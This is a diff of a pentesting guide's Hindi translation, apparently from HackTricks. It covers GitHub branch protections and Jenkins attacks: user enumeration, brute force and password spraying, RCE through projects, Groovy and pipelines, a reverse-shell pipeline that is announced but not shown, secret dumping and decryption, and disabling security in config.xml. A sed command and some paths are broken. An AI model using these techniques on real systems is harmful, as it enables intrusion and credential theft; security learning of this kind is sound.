+> - **टोकन का दुरुपयोग** करना जिसका उपयोग **कार्यप्रवाह** द्वारा **कोड को चुराने** के लिए किया जाता है जहाँ Action निष्पादित होता है या **यहाँ तक कि इसे संशोधित करना**।
## Branch Protections
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+शाखा सुरक्षा को **एक भंडार का पूर्ण नियंत्रण** उपयोगकर्ताओं को न देने के लिए डिज़ाइन किया गया है। लक्ष्य यह है कि **कुछ शाखा के अंदर कोड लिखने से पहले कई सुरक्षा विधियाँ लगाई जाएँ**।
-The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_
+**एक भंडार की शाखा सुरक्षा** को _https://github.com/\/\/settings/branches_ में पाया जा सकता है।
> [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> यह **संभव नहीं है कि संगठन स्तर पर शाखा सुरक्षा सेट की जाए**। इसलिए सभी को प्रत्येक भंडार पर घोषित किया जाना चाहिए।
-Different protections can be applied to a branch (like to master):
+एक शाखा पर विभिन्न सुरक्षा लागू की जा सकती हैं (जैसे कि मास्टर पर):
-- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
-- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
-- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
-- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
-- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
-- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
-- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
-- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
-- **Require signed commits**. The commits need to be signed.
-- **Require linear history.** Prevent merge commits from being pushed to matching branches.
-- **Include administrators**. If this isn't set, admins can bypass the restrictions.
-- **Restrict who can push to matching branches**. Restrict who can send a PR.
+- आप **मर्ज करने से पहले एक PR की आवश्यकता** कर सकते हैं (इसलिए आप सीधे शाखा पर कोड मर्ज नहीं कर सकते)। यदि यह चयनित है तो विभिन्न अन्य सुरक्षा लागू की जा सकती हैं:
+- **अनुमोदनों की संख्या की आवश्यकता**। यह बहुत सामान्य है कि 1 या 2 और लोगों को आपके PR को अनुमोदित करने की आवश्यकता होती है ताकि एकल उपयोगकर्ता सीधे कोड मर्ज करने में सक्षम न हो।
+- **नए कमिट्स धकेलने पर अनुमोदनों को अस्वीकार करें**। यदि नहीं, तो एक उपयोगकर्ता वैध कोड को अनुमोदित कर सकता है और फिर उपयोगकर्ता दुर्भावनापूर्ण कोड जोड़ सकता है और इसे मर्ज कर सकता है।
+- **कोड मालिकों से समीक्षाओं की आवश्यकता**। भंडार के कम से कम 1 कोड मालिक को PR को अनुमोदित करने की आवश्यकता है (ताकि "यादृच्छिक" उपयोगकर्ता इसे अनुमोदित न कर सकें)
+- **पुल अनुरोध समीक्षाओं को अस्वीकार करने के लिए किसे प्रतिबंधित करें।** आप उन लोगों या टीमों को निर्दिष्ट कर सकते हैं जिन्हें पुल अनुरोध समीक्षाओं को अस्वीकार करने की अनुमति है।
+- **निर्धारित अभिनेताओं को पुल अनुरोध आवश्यकताओं को बायपास करने की अनुमति दें**। ये उपयोगकर्ता पिछले प्रतिबंधों को बायपास करने में सक्षम होंगे।
+- **मर्ज करने से पहले स्थिति जांचों को पास करने की आवश्यकता।** कुछ जांचों को कमिट को मर्ज करने से पहले पास करना आवश्यक है (जैसे एक github action यह जांचता है कि कोई स्पष्ट रहस्य नहीं है)।
+- **मर्ज करने से पहले बातचीत के समाधान की आवश्यकता**। कोड पर सभी टिप्पणियों को PR को मर्ज करने से पहले हल किया जाना चाहिए।
+- **हस्ताक्षरित कमिट्स की आवश्यकता**। कमिट्स को हस्ताक्षरित होना चाहिए।
+- **रेखीय इतिहास की आवश्यकता।** मेल खाने वाली शाखाओं में मर्ज कमिट्स को धकेलने से रोकें।
+- **व्यवस्थापकों को शामिल करें**। यदि यह सेट नहीं है, तो व्यवस्थापक प्रतिबंधों को बायपास कर सकते हैं।
+- **मेल खाने वाली शाखाओं पर धकेलने के लिए किसे प्रतिबंधित करें**। यह निर्धारित करें कि कौन PR भेज सकता है।
> [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> जैसा कि आप देख सकते हैं, भले ही आप किसी उपयोगकर्ता के कुछ क्रेडेंशियल प्राप्त करने में सफल रहे हों, **भंडार सुरक्षा कर सकते हैं जिससे आप उदाहरण के लिए मास्टर पर कोड धकेलने से रोक सकते हैं** ताकि CI/CD पाइपलाइन को समझौता न किया जा सके।
## References
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index 5d4fc0358..deb3bade3 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -1,16 +1,16 @@
-# Jenkins Security
+# Jenkins सुरक्षा
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## बुनियादी जानकारी
-Jenkins एक उपकरण है जो लगभग **किसी भी** **प्रोग्रामिंग भाषाओं** और स्रोत कोड रिपॉजिटरी के लिए **निरंतर एकीकरण** या **निरंतर वितरण** (CI/CD) वातावरण स्थापित करने के लिए एक सीधा तरीका प्रदान करता है। इसके अलावा, यह विभिन्न नियमित विकास कार्यों को स्वचालित करता है। जबकि Jenkins **व्यक्तिगत चरणों** के लिए स्क्रिप्ट बनाने की **आवश्यकता** को समाप्त नहीं करता, यह निर्माण, परीक्षण, और तैनाती उपकरणों के पूरे अनुक्रम को एक साथ जोड़ने का एक तेज़ और अधिक मजबूत तरीका प्रदान करता है, जो कि मैन्युअल रूप से आसानी से बनाया जा सकता है।
+Jenkins एक उपकरण है जो **निरंतर एकीकरण** या **निरंतर वितरण** (CI/CD) वातावरण स्थापित करने के लिए एक सीधा तरीका प्रदान करता है, लगभग **किसी भी** संयोजन के लिए **प्रोग्रामिंग भाषाओं** और स्रोत कोड रिपॉजिटरी का उपयोग करते हुए पाइपलाइनों के माध्यम से। इसके अलावा, यह विभिन्न नियमित विकास कार्यों को स्वचालित करता है। जबकि Jenkins **व्यक्तिगत चरणों के लिए स्क्रिप्ट बनाने की आवश्यकता** को समाप्त नहीं करता है, यह निर्माण, परीक्षण और तैनाती उपकरणों के पूरे अनुक्रम को एकीकृत करने का एक तेज़ और अधिक मजबूत तरीका प्रदान करता है, जो कि मैन्युअल रूप से आसानी से बनाया जा सकता है।
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-## Unauthenticated Enumeration
+## बिना प्रमाणीकरण के सूचीकरण
दिलचस्प Jenkins पृष्ठों की खोज करने के लिए बिना प्रमाणीकरण के जैसे (_/people_ या _/asynchPeople_, यह वर्तमान उपयोगकर्ताओं की सूची बनाता है) आप उपयोग कर सकते हैं:
```
@@ -50,28 +50,28 @@ basic-jenkins-information.md
### ब्रूटफोर्स
-**Jenkins** में **पासवर्ड नीति** और **यूजरनेम ब्रूट-फोर्स शमन** की कमी है। यह **ब्रूट-फोर्स** उपयोगकर्ताओं के लिए आवश्यक है क्योंकि **कमजोर पासवर्ड** या **पासवर्ड के रूप में यूजरनेम** का उपयोग हो सकता है, यहां तक कि **उल्टे यूजरनेम के रूप में पासवर्ड** भी हो सकते हैं।
+**Jenkins** में **पासवर्ड नीति** और **यूजरनेम ब्रूट-फोर्स शमन** की कमी है। यह **ब्रूट-फोर्स** उपयोगकर्ताओं के लिए आवश्यक है क्योंकि **कमजोर पासवर्ड** या **पासवर्ड के रूप में यूजरनेम** का उपयोग हो सकता है, यहां तक कि **पासवर्ड के रूप में उल्टे यूजरनेम** भी हो सकते हैं।
```
msf> use auxiliary/scanner/http/jenkins_login
```
-### Password spraying
+### पासवर्ड स्प्रेइंग
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
-### IP Whitelisting Bypass
+### IP व्हाइटलिस्टिंग बायपास
कई संगठन **SaaS-आधारित स्रोत नियंत्रण प्रबंधन (SCM) सिस्टम** जैसे GitHub या GitLab को **आंतरिक, स्वयं-होस्टेड CI** समाधान जैसे Jenkins या TeamCity के साथ मिलाते हैं। यह सेटअप CI सिस्टम को **SaaS स्रोत नियंत्रण विक्रेताओं** से **वेबहुक घटनाओं** को **प्राप्त** करने की अनुमति देता है, मुख्य रूप से पाइपलाइन नौकरियों को ट्रिगर करने के लिए।
-इसको प्राप्त करने के लिए, संगठन **SCM प्लेटफार्मों** के **IP रेंज** को **व्हाइटलिस्ट** करते हैं, जिससे उन्हें **वेबहुक** के माध्यम से **आंतरिक CI सिस्टम** तक पहुंचने की अनुमति मिलती है। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि **कोई भी** GitHub या GitLab पर एक **खाता** बना सकता है और इसे **वेबहुक** को **ट्रिगर** करने के लिए कॉन्फ़िगर कर सकता है, संभावित रूप से **आंतरिक CI सिस्टम** को अनुरोध भेज सकता है।
+इसको प्राप्त करने के लिए, संगठन **SCM प्लेटफार्मों** के **IP रेंज** को **व्हाइटलिस्ट** करते हैं, जिससे उन्हें **वेबहुक** के माध्यम से **आंतरिक CI सिस्टम** तक पहुंचने की अनुमति मिलती है। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि **कोई भी** GitHub या GitLab पर **खाता** बना सकता है और इसे **वेबहुक** को **ट्रिगर** करने के लिए कॉन्फ़िगर कर सकता है, संभावित रूप से **आंतरिक CI सिस्टम** को अनुरोध भेज सकता है।
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
-## Internal Jenkins Abuses
+## आंतरिक Jenkins दुरुपयोग
-इन परिदृश्यों में हम मानेंगे कि आपके पास Jenkins तक पहुंचने के लिए एक मान्य खाता है।
+इन परिदृश्यों में हम मान लेंगे कि आपके पास Jenkins तक पहुंचने के लिए एक वैध खाता है।
> [!WARNING]
-> Jenkins में कॉन्फ़िगर की गई **Authorization** तंत्र और समझौता किए गए उपयोगकर्ता की अनुमति के आधार पर, आप **निम्नलिखित हमलों को करने में सक्षम हो सकते हैं या नहीं।**
+> Jenkins में कॉन्फ़िगर किए गए **Authorization** तंत्र और समझौता किए गए उपयोगकर्ता की अनुमति के आधार पर, आप **निम्नलिखित हमलों को करने में सक्षम हो सकते हैं या नहीं।**
अधिक जानकारी के लिए बुनियादी जानकारी देखें:
@@ -79,11 +79,11 @@ Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-ab
basic-jenkins-information.md
{{#endref}}
-### Listing users
+### उपयोगकर्ताओं की सूची बनाना
-यदि आपने Jenkins तक पहुंच प्राप्त कर ली है, तो आप [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) में अन्य पंजीकृत उपयोगकर्ताओं की सूची देख सकते हैं।
+यदि आपने Jenkins तक पहुंच प्राप्त कर ली है, तो आप [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) में अन्य पंजीकृत उपयोगकर्ताओं की सूची बना सकते हैं।
-### Dumping builds to find cleartext secrets
+### स्पष्ट पाठ रहस्यों को खोजने के लिए निर्माणों को डंप करना
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
```bash
@@ -101,11 +101,11 @@ gitleaks detect --no-git -v
### **Jenkins में RCE**
-Jenkins सर्वर में **शेल प्राप्त करना** हमलावर को सभी **रहस्यों** और **env वेरिएबल्स** को लीक करने और **एक ही नेटवर्क में स्थित अन्य मशीनों का शोषण करने** या यहां तक कि **क्लाउड क्रेडेंशियल्स इकट्ठा करने** का अवसर देता है।
+Jenkins सर्वर में **शेल प्राप्त करना** हमलावर को सभी **रहस्यों** और **env वेरिएबल्स** को लीक करने और **एक ही नेटवर्क में स्थित अन्य मशीनों का शोषण करने** का अवसर देता है या यहां तक कि **क्लाउड क्रेडेंशियल्स** इकट्ठा करने का भी।
डिफ़ॉल्ट रूप से, Jenkins **SYSTEM के रूप में चलेगा**। इसलिए, इसे समझौता करने से हमलावर को **SYSTEM विशेषाधिकार** मिलेंगे।
-### **RCE प्रोजेक्ट बनाना/संशोधित करना**
+### **प्रोजेक्ट बनाना/संशोधित करना RCE**
प्रोजेक्ट बनाना/संशोधित करना Jenkins सर्वर पर RCE प्राप्त करने का एक तरीका है:
@@ -113,7 +113,7 @@ Jenkins सर्वर में **शेल प्राप्त करना
jenkins-rce-creating-modifying-project.md
{{#endref}}
-### **RCE Groovy स्क्रिप्ट निष्पादित करना**
+### **Groovy स्क्रिप्ट निष्पादित करना RCE**
आप एक Groovy स्क्रिप्ट निष्पादित करके भी RCE प्राप्त कर सकते हैं, जो एक नया प्रोजेक्ट बनाने की तुलना में अधिक छिपा हुआ हो सकता है:
@@ -121,7 +121,7 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-with-groovy-script.md
{{#endref}}
-### RCE पाइपलाइन बनाना/संशोधित करना
+### पाइपलाइन बनाना/संशोधित करना RCE
आप **पाइपलाइन बनाकर/संशोधित करके RCE प्राप्त कर सकते हैं**:
@@ -135,31 +135,31 @@ jenkins-rce-creating-modifying-pipeline.md
### बिल्ड पाइपलाइन्स
-**पाइपलाइन्स** को **प्रोजेक्ट्स में बिल्ड तंत्र के रूप में** भी उपयोग किया जा सकता है, इस मामले में इसे **भंडार के अंदर एक फ़ाइल** के रूप में कॉन्फ़िगर किया जा सकता है जो पाइपलाइन सिंटैक्स को शामिल करेगा। डिफ़ॉल्ट रूप से `/Jenkinsfile` का उपयोग किया जाता है:
+**पाइपलाइन्स** को **प्रोजेक्ट्स में बिल्ड तंत्र के रूप में** भी उपयोग किया जा सकता है, इस मामले में इसे एक **फाइल के रूप में कॉन्फ़िगर किया जा सकता है जो पाइपलाइन सिंटैक्स को शामिल करेगा**। डिफ़ॉल्ट रूप से `/Jenkinsfile` का उपयोग किया जाता है:
.png>)
-यह भी संभव है कि **पाइपलाइन कॉन्फ़िगरेशन फ़ाइलों को अन्य स्थानों पर संग्रहीत किया जाए** (उदाहरण के लिए अन्य भंडार में) जिसका लक्ष्य **भंडार की पहुँच** और पाइपलाइन पहुँच को **अलग करना** है।
+यह भी संभव है कि **पाइपलाइन कॉन्फ़िगरेशन फ़ाइलों को अन्य स्थानों पर संग्रहीत किया जाए** (उदाहरण के लिए अन्य रिपॉजिटरी में) ताकि **रिपॉजिटरी** **पहुँच** और पाइपलाइन पहुँच को **अलग** किया जा सके।
-यदि एक हमलावर के पास **उस फ़ाइल पर लिखने की पहुँच है** तो वह इसे **संशोधित** कर सकेगा और **संभावित रूप से पाइपलाइन को ट्रिगर** कर सकेगा बिना Jenkins तक पहुँच के।\
+यदि एक हमलावर के पास **उस फ़ाइल पर लिखने का अधिकार है** तो वह इसे **संशोधित** कर सकेगा और **संभावित रूप से पाइपलाइन को ट्रिगर** कर सकेगा बिना Jenkins तक पहुँच प्राप्त किए।\
संभव है कि हमलावर को **कुछ शाखा सुरक्षा को बायपास करना पड़े** (प्लेटफ़ॉर्म और उपयोगकर्ता विशेषाधिकार के आधार पर, उन्हें बायपास किया जा सकता है या नहीं)।
कस्टम पाइपलाइन को निष्पादित करने के लिए सबसे सामान्य ट्रिगर्स हैं:
- **मुख्य शाखा** पर **पुल अनुरोध** (या संभावित रूप से अन्य शाखाओं पर)
- **मुख्य शाखा** पर **पुश** (या संभावित रूप से अन्य शाखाओं पर)
-- **मुख्य शाखा को अपडेट करें** और प्रतीक्षा करें जब तक कि इसे किसी तरह निष्पादित नहीं किया जाता
+- **मुख्य शाखा को अपडेट करें** और तब तक प्रतीक्षा करें जब तक कि इसे किसी तरह निष्पादित नहीं किया जाता
> [!NOTE]
-> यदि आप एक **बाहरी उपयोगकर्ता** हैं तो आपको **अन्य उपयोगकर्ता/संस्थान** के भंडार की **मुख्य शाखा** पर **PR बनाने** और **पाइपलाइन को ट्रिगर करने** की उम्मीद नहीं करनी चाहिए... लेकिन यदि यह **खराब कॉन्फ़िगर किया गया है** तो आप पूरी तरह से **कंपनियों को केवल इसका शोषण करके समझौता कर सकते हैं**।
+> यदि आप एक **बाहरी उपयोगकर्ता** हैं तो आपको **अन्य उपयोगकर्ता/संस्थान** के रिपॉजिटरी की **मुख्य शाखा** पर **PR बनाने** और **पाइपलाइन को ट्रिगर करने** की उम्मीद नहीं करनी चाहिए... लेकिन यदि यह **खराब कॉन्फ़िगर किया गया है** तो आप केवल **इसका शोषण करके कंपनियों को पूरी तरह से समझौता कर सकते हैं**।
### पाइपलाइन RCE
-पिछले RCE अनुभाग में पहले से ही [**पाइपलाइन को संशोधित करके RCE प्राप्त करने की तकनीक**](./#rce-creating-modifying-pipeline) का संकेत दिया गया था।
+पिछले RCE अनुभाग में पहले से ही एक तकनीक का संकेत दिया गया था [**पाइपलाइन को संशोधित करके RCE प्राप्त करने के लिए**](./#rce-creating-modifying-pipeline)।
-### Env वेरिएबल्स की जाँच करना
+### Env वेरिएबल्स की जांच करना
-यह संभव है कि **पूरी पाइपलाइन** या विशिष्ट चरणों के लिए **स्पष्ट पाठ env वेरिएबल्स** घोषित किए जाएं। ये env वेरिएबल्स **संवेदनशील जानकारी** नहीं होनी चाहिए, लेकिन एक हमलावर हमेशा **सभी पाइपलाइन** कॉन्फ़िगरेशन/Jenkinsfiles की **जाँच कर सकता है**:
+यह संभव है कि **पूरी पाइपलाइन** या विशिष्ट चरणों के लिए **स्पष्ट पाठ env वेरिएबल्स** घोषित किए जाएं। ये env वेरिएबल्स **संवेदनशील जानकारी** नहीं होनी चाहिए, लेकिन एक हमलावर हमेशा **सभी पाइपलाइन** कॉन्फ़िगरेशन/Jenkinsfiles की **जांच कर सकता है**:
```bash
pipeline {
agent {label 'built-in'}
@@ -174,15 +174,15 @@ STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
-### Dumping secrets
+### रहस्यों को डंप करना
-Jenkins द्वारा सामान्यतः रहस्यों के साथ कैसे व्यवहार किया जाता है, इसके बारे में जानकारी के लिए बुनियादी जानकारी देखें:
+Jenkins द्वारा रहस्यों के साथ सामान्यतः कैसे व्यवहार किया जाता है, इसके बारे में जानकारी के लिए बुनियादी जानकारी देखें:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-क्रेडेंशियल्स को **वैश्विक प्रदाताओं** (`/credentials/`) या **विशिष्ट परियोजनाओं** (`/job//configure`) के लिए **स्कोप किया जा सकता है**। इसलिए, सभी को निकालने के लिए आपको **कम से कम सभी परियोजनाओं से समझौता करना होगा** जो रहस्यों को शामिल करती हैं और कस्टम/ज़हरीले पाइपलाइनों को निष्पादित करना होगा।
+क्रेडेंशियल्स को **वैश्विक प्रदाताओं** (`/credentials/`) या **विशिष्ट परियोजनाओं** (`/job//configure`) के लिए **स्कोप किया जा सकता है**। इसलिए, सभी को निकालने के लिए आपको **कम से कम सभी परियोजनाओं से समझौता करना होगा** जो रहस्यों को शामिल करती हैं और कस्टम/जहरीले पाइपलाइनों को निष्पादित करना होगा।
एक और समस्या है, पाइपलाइन के **env** के अंदर एक **रहस्य** प्राप्त करने के लिए आपको **रहस्य का नाम और प्रकार जानना होगा**। उदाहरण के लिए, यदि आप एक **`usernamePassword`** **रहस्य** को **`string`** **रहस्य** के रूप में **लोड** करने की कोशिश करते हैं, तो आपको यह **त्रुटि** मिलेगी:
```
@@ -219,43 +219,43 @@ env
इस पृष्ठ के अंत में आप **सभी क्रेडेंशियल प्रकार** पा सकते हैं: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
-> **सभी रहस्यों को एक साथ डंप करने** का सबसे अच्छा तरीका **Jenkins** मशीन को **समझौता** करना है (उदाहरण के लिए **बिल्ट-इन नोड** में एक रिवर्स शेल चलाना) और फिर **मास्टर की** और **एन्क्रिप्टेड रहस्यों** को **लीक** करना और उन्हें ऑफलाइन डिक्रिप्ट करना।\
+> **सभी रहस्यों को एक साथ डंप करने** का सबसे अच्छा तरीका **Jenkins** मशीन को **समझौता करना** है (उदाहरण के लिए **बिल्ट-इन नोड** में एक रिवर्स शेल चलाना) और फिर **मास्टर कीज़** और **एन्क्रिप्टेड रहस्यों** को **लीक** करना और उन्हें ऑफलाइन डिक्रिप्ट करना।\
> इसे करने के बारे में अधिक जानकारी [Nodes & Agents section](./#nodes-and-agents) और [Post Exploitation section](./#post-exploitation) में है।
### ट्रिगर्स
-[दस्तावेज़ों](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) से: `triggers` निर्देश **स्वचालित तरीकों को परिभाषित करता है जिनसे पाइपलाइन को फिर से ट्रिगर किया जाना चाहिए**। उन पाइपलाइनों के लिए जो GitHub या BitBucket जैसे स्रोत के साथ एकीकृत हैं, `triggers` आवश्यक नहीं हो सकते हैं क्योंकि वेबहुक-आधारित एकीकरण पहले से मौजूद हो सकता है। वर्तमान में उपलब्ध ट्रिगर्स हैं `cron`, `pollSCM` और `upstream`।
+[दस्तावेज़ों](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) से: `triggers` निर्देश **स्वचालित तरीकों को परिभाषित करता है जिनमें पाइपलाइन को फिर से ट्रिगर किया जाना चाहिए**। उन पाइपलाइनों के लिए जो GitHub या BitBucket जैसे स्रोत के साथ एकीकृत हैं, `triggers` आवश्यक नहीं हो सकते हैं क्योंकि वेबहुक-आधारित एकीकरण पहले से मौजूद हो सकता है। वर्तमान में उपलब्ध ट्रिगर्स हैं `cron`, `pollSCM` और `upstream`।
क्रोन उदाहरण:
```bash
triggers { cron('H */4 * * 1-5') }
```
-Check **other examples in the docs**.
+चेक करें **दस्तावेज़ों में अन्य उदाहरण**।
-### Nodes & Agents
+### नोड्स और एजेंट्स
-A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
+एक **Jenkins उदाहरण** में **विभिन्न मशीनों में विभिन्न एजेंट चल सकते हैं**। हमलावर के दृष्टिकोण से, विभिन्न मशीनों तक पहुंच का मतलब है **चोरी करने के लिए विभिन्न संभावित क्लाउड क्रेडेंशियल्स** या **विभिन्न नेटवर्क एक्सेस** जो अन्य मशीनों का शोषण करने के लिए दुरुपयोग किया जा सकता है।
-For more information check the basic information:
+अधिक जानकारी के लिए बुनियादी जानकारी देखें:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-You can enumerate the **configured nodes** in `/computer/`, you will usually find the **`Built-In Node`** (which is the node running Jenkins) and potentially more:
+आप `/computer/` में **कॉन्फ़िगर किए गए नोड्स** की गणना कर सकते हैं, आपको आमतौर पर \*\*`Built-In Node` \*\* (जो Jenkins चला रहा है) और संभावित रूप से अधिक मिलेंगे:
.png>)
-It is **विशेष रूप से दिलचस्प Built-In node को समझौता करना** क्योंकि इसमें संवेदनशील Jenkins जानकारी होती है।
+**Built-In नोड को समझौता करना विशेष रूप से दिलचस्प है** क्योंकि इसमें संवेदनशील Jenkins जानकारी होती है।
-To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
+आप यह संकेत देने के लिए कि आप **पाइपलाइन** को **बिल्ट-इन Jenkins नोड** में **चलाना** चाहते हैं, पाइपलाइन के अंदर निम्नलिखित कॉन्फ़िगरेशन निर्दिष्ट कर सकते हैं:
```bash
pipeline {
agent {label 'built-in'}
```
### पूरा उदाहरण
-एक विशेष एजेंट में पाइपलाइन, एक क्रोन ट्रिगर के साथ, पाइपलाइन और स्टेज पर्यावरण चर के साथ, एक चरण में 2 चर लोड करना और एक रिवर्स शेल भेजना:
+एक विशेष एजेंट में पाइपलाइन, एक क्रॉन ट्रिगर के साथ, पाइपलाइन और स्टेज पर्यावरण चर के साथ, एक चरण में 2 चर लोड करना और एक रिवर्स शेल भेजना:
```bash
pipeline {
agent {label 'built-in'}
@@ -306,7 +306,7 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
-## पोस्ट एक्सप्लॉइटेशन
+## पोस्ट एक्सप्लोइटेशन
### मेटास्प्लॉइट
```
@@ -314,9 +314,9 @@ msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets
-आप `/credentials/` को एक्सेस करके सीक्रेट्स की सूची बना सकते हैं यदि आपके पास पर्याप्त अनुमतियाँ हैं। ध्यान दें कि यह केवल `credentials.xml` फ़ाइल के अंदर के सीक्रेट्स की सूची बनाएगा, लेकिन **बिल्ड कॉन्फ़िगरेशन फ़ाइलें** में भी **अधिक क्रेडेंशियल्स** हो सकते हैं।
+आप `/credentials/` को एक्सेस करके रहस्यों की सूची बना सकते हैं यदि आपके पास पर्याप्त अनुमतियाँ हैं। ध्यान दें कि यह केवल `credentials.xml` फ़ाइल के अंदर के रहस्यों की सूची बनाएगा, लेकिन **बिल्ड कॉन्फ़िगरेशन फ़ाइलें** भी **अधिक क्रेडेंशियल्स** हो सकती हैं।
-यदि आप **प्रत्येक प्रोजेक्ट की कॉन्फ़िगरेशन देख सकते हैं**, तो आप वहाँ **क्रेडेंशियल्स (सीक्रेट्स)** के नाम भी देख सकते हैं जो रिपॉजिटरी और **प्रोजेक्ट के अन्य क्रेडेंशियल्स** तक पहुँचने के लिए उपयोग किए जा रहे हैं।
+यदि आप **प्रत्येक प्रोजेक्ट की कॉन्फ़िगरेशन देख सकते हैं**, तो आप वहाँ **क्रेडेंशियल्स (रहस्यों)** के नाम भी देख सकते हैं जो रिपॉजिटरी और **प्रोजेक्ट के अन्य क्रेडेंशियल्स** तक पहुँचने के लिए उपयोग किए जा रहे हैं।
.png>)
@@ -328,12 +328,12 @@ jenkins-dumping-secrets-from-groovy.md
#### From disk
-इन फ़ाइलों की आवश्यकता है **Jenkins सीक्रेट्स को डिक्रिप्ट करने के लिए**:
+इन फ़ाइलों की आवश्यकता है **Jenkins रहस्यों को डिक्रिप्ट करने के लिए**:
- secrets/master.key
- secrets/hudson.util.Secret
-ऐसे **सीक्रेट्स आमतौर पर** मिल सकते हैं:
+ऐसे **रहस्य आमतौर पर** मिल सकते हैं:
- credentials.xml
- jobs/.../build.xml
@@ -366,10 +366,10 @@ println(hudson.util.Secret.decrypt("{...}"))
### नया प्रशासनिक उपयोगकर्ता बनाएं
1. `/var/lib/jenkins/config.xml` या `C:\Program Files (x86)\Jenkis\` में Jenkins config.xml फ़ाइल तक पहुँचें।
-2. `true` शब्द के लिए खोजें और **`true`** शब्द को **`false`** में बदलें।
+2. `true` शब्द के लिए खोजें और शब्द **`true`** को **`false`** में बदलें।
1. `sed -i -e 's/truefalsetrue` में बदलकर **सुरक्षा** को फिर से **सक्षम** करें और **Jenkins को फिर से पुनः प्रारंभ** करें।
## संदर्भ
diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
index 404851b5d..cc228370d 100644
--- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
@@ -6,7 +6,7 @@
### Username + Password
-Jenkins में लॉगिन करने का सबसे सामान्य तरीका एक उपयोगकर्ता नाम या पासवर्ड है।
+Jenkins में लॉगिन करने का सबसे सामान्य तरीका एक उपयोगकर्ता नाम या पासवर्ड के साथ है।
### Cookie
@@ -14,11 +14,11 @@ Jenkins में लॉगिन करने का सबसे सामा
### SSO/Plugins
-Jenkins को प्लगइन्स का उपयोग करके **तीसरे पक्ष के SSO के माध्यम से पहुँच योग्य** बनाया जा सकता है।
+Jenkins को **तीसरे पक्ष के SSO के माध्यम से पहुँच योग्य** बनाने के लिए प्लगइन्स का उपयोग करके कॉन्फ़िगर किया जा सकता है।
### Tokens
-**उपयोगकर्ता टोकन उत्पन्न कर सकते हैं** ताकि अनुप्रयोगों को CLI या REST API के माध्यम से उनकी नकल करने की अनुमति दी जा सके।
+**उपयोगकर्ता टोकन उत्पन्न कर सकते हैं** ताकि CLI या REST API के माध्यम से उनके रूप में अनुप्रयोगों को पहुँच दी जा सके।
### SSH Keys
@@ -26,26 +26,26 @@ Jenkins को प्लगइन्स का उपयोग करके **
## Authorization
-`/configureSecurity` में Jenkins के **अधिकार विधि को कॉन्फ़िगर करना संभव है**। कई विकल्प हैं:
+`/configureSecurity` में यह संभव है कि **Jenkins के प्राधिकरण विधि को कॉन्फ़िगर किया जाए**। कई विकल्प हैं:
- **कोई भी कुछ भी कर सकता है**: यहां तक कि गुमनाम पहुँच भी सर्वर का प्रशासन कर सकती है।
- **Legacy mode**: Jenkins <1.164 के समान। यदि आपके पास **"admin" भूमिका** है, तो आपको **पूर्ण नियंत्रण** दिया जाएगा, और **अन्यथा** (जिसमें **गुमनाम** उपयोगकर्ता शामिल हैं) आपको **पढ़ने** की पहुँच मिलेगी।
-- **लॉगिन किए गए उपयोगकर्ता कुछ भी कर सकते हैं**: इस मोड में, हर **लॉगिन किया हुआ उपयोगकर्ता Jenkins का पूर्ण नियंत्रण प्राप्त करता है**। एकमात्र उपयोगकर्ता जिसे पूर्ण नियंत्रण नहीं मिलेगा वह **गुमनाम उपयोगकर्ता** है, जिसे केवल **पढ़ने की पहुँच** मिलती है।
